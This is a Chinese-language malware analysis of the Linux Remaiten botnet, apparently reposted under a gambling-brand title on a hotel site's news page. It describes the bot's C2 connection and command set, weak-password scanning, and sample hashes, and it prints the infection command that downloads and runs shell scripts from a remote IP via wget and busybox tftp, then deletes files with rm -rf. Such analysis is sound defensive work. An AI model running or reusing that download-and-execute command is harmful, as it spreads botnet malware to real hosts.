首页 > 酒店新闻 > 公司新闻

ag真人平台集团官网|LINUX REMAITEN家族恶意代码样本分析

发布时间:2025-10-15 18:00:22    次浏览

摘要:本报告所分析的恶意样本LinuxRemaiten由ESET首先发现和命名。Remaiten拥有多种平台上运行的多个版本,本报告中所分析的样本可运行于X86平台的Linux操作系统上。经过简单分析发现,其他平台上的Remaiten样本(如ARM)也有类似行为。在分析中发现,Remaiten拥有“扫描器”、“下载器”和“后门”功能,其目的在于入侵和控制一些运行Linux系统的目标,部署僵尸网络。从其连接的服务器IP和端口(93.174.83.180:9271)和企图下载的sh脚本的地址(94.102.49.151)来看,均为荷兰服务器。0x01 initConnection在样本的main函数中,除了随机函数种子(由时间和进程号异或)的计算外,第一个主要行为是与CommServer服务器取得连接。该功能主要在initConnection()函数中实现。其中CommServer服务器的IP和Port为93.174.83.180:9271,经查询,该地址位于荷兰境内。 图1initConnection函数的实现部分图2commServer的IP和port在完成socket连接后,接收有CommServer发送的指令。如果指令中含有PING字符串,则回送字符串PONG,并继续监听CommServer的socket;若指令中包含DUP字符串,则直接退出程序;如果都PING和DUP都不存在,则会执行processCmd函数,并继续监听socket。 图3接收、判断和执行CommServer发送的指令0x02 processCmdCommServer服务器发送的指令除了PING和DUP还有多种。其实现代码主要位于processCmd中。若指令为“GETLOCALIP”,则将样本所在的主机IP发送给CommServer服务器。若指令为“SCANNER”,则进行扫描探测,如果发现“ON”状态主机,则调用StartTheLelz()函数进行攻击,该函数较为重要,在下面继续分析。若指令为“HOLD”,则主要负责与已被控制的主机保持连接。若指令为“JUNK”,则向某IP的主机建立连接并发送1024字节的随机字串。若指令为“UDP”,则尝试向某IP的主机发送内容长度为n的UDP数据包。若指令为“TCP”,则尝试与某IP的主机建立TCP连接。 0x03 StartTheLelz该函数在接到SCANNER指令时会被调用。首先,StartTheLelz会调用getRandomPublicIP()函数获得一个随机IP,而后建立连接并尝试登录,所使用的是弱口令方法。 图4尝试登录目标主机的部分代码 图5使用弱口令攻击时使用的部分用户名如果登录成功,StartTheLelz函数会打开一个shell并进行操作。而后进行下载bins.sh脚本和传输文件等操作: 执行的命令为:cd /tmp; wget http://94.102.49.151/bins.sh;chmod 777 bins.sh;sh bins.sh;busybox tftp -r tftp2.sh -g 94.102.49.151;chmod 777 tftp2.sh; sh tftp2.sh; rm -rf * '/bin/busybox;echo -e '\147\141\171\146\147\164' '其中可见受攻击主机在其操控下从94.102.49.151服务器上下载了名为bins.sh的命令行脚本,并支行了该脚本。并使用busybox工具集(这是一个带有上百种Linux常用工具的强大工具集)中的tftp进行文件传输。0x04 Rimaiten家族比较目前所捕获的Rimaiten样本包括:(1)5f9bf082cfe00c02e3d45a59bbf44af3a755e5f39b4b4aef542b8c85199a935f(2)0b7fc3832afd27955e75a703aa5fcc4d7b2b35efc9b3baff95736e6afc326550(3)13333b1e42c803b1df98748f12ad0d90dc4f169a7ff0a90769340f2b1c17c09d(4)439367f123391e86adb1a48827c1a351855fc502b1b16af315f03d82991d09b4(5)a1944641abccc5536252f4a84a83aa8fe49940ad828aa259d2d14b4e8146f37f(6)cb9e0347a9c744f0a0039033d2df4ab7316de748a287f4831382f9db8ab3ab64这些样本都属于Rimaiten家族。我们做了简单的二进制文件比对发现,Rimaiten家族的样本差异依然较大,从物理结构上较难判定其为同源样本。其中有混淆的原因,也有编译器版本、运行平台的原因,这里不再赘述。但是我们对样本的可见字符串进行比对,便可发现极高的相似性。 图0b7fc3832afd27955e75a703aa5fcc4d7b2b35efc9b3baff95736e6afc326550中提取的字符串 图5f9bf082cfe00c02e3d45a59bbf44af3a755e5f39b4b4aef542b8c85199a935f中提取的字符串除了可见字符串,从逻辑结构上分析样本的相似性,依然可以获得大量应证。如进行程序控制流图的比对: 图0b7fc3832afd27955e75a703aa5fcc4d7b2b35efc9b3baff95736e6afc326550控制流图 图5f9bf082cfe00c02e3d45a59bbf44af3a755e5f39b4b4aef542b8c85199a935f控制流图 图13333b1e42c803b1df98748f12ad0d90dc4f169a7ff0a90769340f2b1c17c09d控制流图 图a1944641abccc5536252f4a84a83aa8fe49940ad828aa259d2d14b4e8146f37f控制流图如果从函数调用图,也可以找到相似性的证据: 图0b7fc3832afd27955e75a703aa5fcc4d7b2b35efc9b3baff95736e6afc326550控制流图 图5f9bf082cfe00c02e3d45a59bbf44af3a755e5f39b4b4aef542b8c85199a935f控制流图 图13333b1e42c803b1df98748f12ad0d90dc4f169a7ff0a90769340f2b1c17c09d控制流图 图a1944641abccc5536252f4a84a83aa8fe49940ad828aa259d2d14b4e8146f37f控制流图样本的相似性度量可转换为图的相似匹配问题。从肉眼观察可以很快发现图的相似性,相对应的算法在本团队中也正在抓紧实现,形成一种成熟的恶意代码相似度、同源性分析的方法。